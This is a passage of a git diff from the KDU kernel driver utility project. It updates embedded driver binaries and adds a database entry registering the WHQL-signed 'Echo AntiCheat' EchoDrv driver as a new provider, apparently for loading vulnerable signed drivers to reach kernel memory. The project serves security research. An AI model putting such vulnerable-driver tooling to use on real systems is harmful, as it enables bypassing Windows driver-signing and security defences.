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 literal 0 HcmV?d00001 diff --git a/Source/Tanikaze/drv/ene2.bin b/Source/Tanikaze/drv/ene2.bin index 6ec1e625452f5a642632c5fbe1e0034f026165a3..67bd016fc8d07e5ab166f42e191eadf3c265b00f 100644 GIT binary patch delta 19 acmbOiH7|;5L&FC1`1aI*_Rx)7BDw%mX$OS> delta 19 bcmbOiH7|;5L&FC1`?q?H7ng73643j0!E9=H*%eJ1psTV36%f< diff --git a/Source/Tanikaze/drv/gdrv.bin b/Source/Tanikaze/drv/gdrv.bin index b456a6f20454d82debf2e03567cd6187a2e04d23..ddbe632ee83a3a5d7dca3826fa5e926a44938e1d 100644 GIT binary patch delta 19 bcmdm!x+j%uL&FC1{U>4r+Cw*TZ88D?U?B+; delta 19 bcmdm!x+j%uL&FC1{VMIoi_151Z88D?Tr>!} diff --git a/Source/Tanikaze/drv/gmerdrv.bin b/Source/Tanikaze/drv/gmerdrv.bin index 782e3579c11880d30503498123080187ec657d03..aed9c3d0d4c9d1212cec8dc17d151f9cc4a877a2 100644 GIT binary patch delta 21 dcmbPxhjH#5My?GF8_fOR?g?lQ-N+@J2LNvd33dPg delta 21 dcmbPxhjH#5My?GF8_fN$JuqHezL85f4*+l838Vl3 diff --git a/Source/Tanikaze/drv/heavenluo.bin b/Source/Tanikaze/drv/heavenluo.bin index 80eaf49f037ef2555e01b874d22ea62a8cd70384..332020fab191f3b8ec8ad9ee9c813ed96aa73a4a 100644 GIT binary patch delta 19 bcmaFl_sEZHL&FC1_osgaw1;lwickjtXpae; delta 19 bcmaFl_sEZHL&FC1`zOSW7ME}2ickjtVLS-N diff --git a/Source/Tanikaze/drv/iQVM64.bin b/Source/Tanikaze/drv/iQVM64.bin index a493f012fc5aee8d799cb3a60a3d823f3ece54fd..89eee1ceefac3ea33401ae71780c1ae888c1dcfe 100644 GIT binary patch delta 21 ccmcc9!g!~Jk!wT42J`=3(E;tD8@Ym<0BTkV0{{R3 delta 21 dcmcc9!g!~Jk!wT426O+Uzs8HpH*y6z0RU;`2`&Ht diff --git a/Source/Tanikaze/drv/inpoutx64.bin b/Source/Tanikaze/drv/inpoutx64.bin index 896ff002319702962209970f761cc519af5904d7..29339a1014b7fbe033e93fc8146b0afa9788d1f2 100644 GIT binary patch delta 19 bcmaE6^~{QEL&FC1_lJ4{+Cw*T#mE8xVzdbV delta 19 bcmaE6^~{QEL&FC1{S5j>i_151#mE8xSDFXV diff --git a/Source/Tanikaze/drv/kprocesshacker.bin b/Source/Tanikaze/drv/kprocesshacker.bin index 70fedb4f38c9d6a8c04df5412583c07758cf5619..e84075d6916aef2a99732734ef089f95f35ae66d 100644 GIT binary patch delta 21 dcmcaNh4J1LMy?GF8_eZnwgt3@ZsZE_0sv>a2)+OS delta 21 dcmcaNh4J1LMy?GF8_eeiUNv4^zL6`$3jl4_33C7d diff --git a/Source/Tanikaze/drv/lha.bin b/Source/Tanikaze/drv/lha.bin index 3420a9e1bc69acb1b869dacfd20a28890c908c1b..8e7186ace7026e41f9f7def8da37a887ea9e30d2 100644 GIT binary patch delta 19 acmdm#uqlCSL&FC1{F5O8?V%gFGz^{k3(L&FC1_pVz5+Cw*T#n=J>Xg3K< delta 19 bcmaD>^{k3(L&FAh`&T!O7ng73im?R%Xv+zO diff --git a/Source/Tanikaze/drv/pcdsrvc_x64.bin b/Source/Tanikaze/drv/pcdsrvc_x64.bin index 55cfd2e842db81edf3e368a2464988ac8062e291..2a032ce8ade42562be3526d94bffa7696deef866 100644 GIT binary patch delta 19 bcmdm#xha!tL&FC1^Bg|{+Cw*TtuO%qUFQhu delta 19 bcmdm#xha!tL&FC1_3xyN7ME}2T44eJUQGz{ diff --git a/Source/Tanikaze/drv/physmem.bin b/Source/Tanikaze/drv/physmem.bin index d8c5c9d7f932a23db5cbfd2b36fc284254a244df..5db080a7e7491a9e1fe44a3b11d87128e0a08911 100644 GIT binary patch delta 19 acmcbZbuo);L&FAh|3}RM?V%gF+)V*srUdjzzHZsf}L0RV8O34Q~t5ddq63331c delta 21 dcmZ2|m~r)CMy?GF8_egcy)s^0zL9HTA^>c%3Aq3O diff --git a/Source/Tanikaze/resource.h b/Source/Tanikaze/resource.h index f6ad603..0a89e49 100644 --- a/Source/Tanikaze/resource.h +++ b/Source/Tanikaze/resource.h @@ -40,6 +40,7 @@ #define IDR_KEXPLORE 139 #define IDR_KOBJEXP 140 #define IDR_KREGEXP 141 +#define IDR_ECHODRV 143 #define IDR_DATA_DBUTILCAT 1000 #define IDR_DATA_DBUTILINF 1001 #define IDR_DATA_KMUEXE 1002 @@ -52,7 +53,7 @@ // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 142 +#define _APS_NEXT_RESOURCE_VALUE 144 #define _APS_NEXT_COMMAND_VALUE 40001 #define _APS_NEXT_CONTROL_VALUE 1007 #define _APS_NEXT_SYMED_VALUE 101 diff --git a/Source/Tanikaze/resource.rc b/Source/Tanikaze/resource.rc index 868a769..9b9bf14 100644 --- a/Source/Tanikaze/resource.rc +++ b/Source/Tanikaze/resource.rc @@ -140,6 +140,8 @@ IDR_KOBJEXP RCDATA "drv\\KObjExp.bin" IDR_KREGEXP RCDATA "drv\\KRegExp.bin" +IDR_ECHODRV RCDATA "drv\\echo_driver.bin" + ///////////////////////////////////////////////////////////////////////////// // @@ -147,8 +149,8 @@ IDR_KREGEXP RCDATA "drv\\KRegExp.bin" // VS_VERSION_INFO VERSIONINFO - FILEVERSION 1,1,5,2306 - PRODUCTVERSION 1,1,5,2306 + FILEVERSION 1,1,6,2307 + PRODUCTVERSION 1,1,6,2307 FILEFLAGSMASK 0x3fL #ifdef _DEBUG FILEFLAGS 0x1L @@ -165,12 +167,12 @@ BEGIN BEGIN VALUE "CompanyName", "UG North" VALUE "FileDescription", "Kernel Driver Utility Database" - VALUE "FileVersion", "1.1.5.2306" + VALUE "FileVersion", "1.1.6.2307" VALUE "InternalName", "Tanikaze.dll" VALUE "LegalCopyright", "Copyright (C) 2020 - 2023 KDU Project" VALUE "OriginalFilename", "Tanikaze.dll" VALUE "ProductName", "KDU" - VALUE "ProductVersion", "1.1.5.2306" + VALUE "ProductVersion", "1.1.6.2307" END END BLOCK "VarFileInfo" diff --git a/Source/Tanikaze/tanikaze.h b/Source/Tanikaze/tanikaze.h index d0787db..e0c7b6b 100644 --- a/Source/Tanikaze/tanikaze.h +++ b/Source/Tanikaze/tanikaze.h @@ -4,9 +4,9 @@ * * TITLE: CONSTS.H * -* VERSION: 1.14 +* VERSION: 1.16 * -* DATE: 10 Jun 2023 +* DATE: 15 Jul 2023 * * Tanikaze helper dll (part of KDU project). * @@ -608,6 +608,21 @@ KDU_DB_ENTRY gProvEntry[] = { (LPWSTR)L"KRegExp", (LPWSTR)L"KRegExp", (LPWSTR)L"Pavel Yosifovich" + }, + + { + KDU_MIN_NTBUILDNUMBER, + KDU_MAX_NTBUILDNUMBER, + IDR_ECHODRV, + KDU_PROVIDER_ECHODRV, + KDU_VICTIM_PE1702, + SourceBaseNone, + KDUPROV_FLAGS_SIGNATURE_WHQL | KDUPROV_FLAGS_PREFER_VIRTUAL, + KDUPROV_SC_ALL_DEFAULT, + (LPWSTR)L"Echo AntiCheat", + (LPWSTR)L"EchoDrv", + (LPWSTR)L"EchoDrv", + (LPWSTR)L"Microsoft Windows Hardware Compatibility Publisher" } };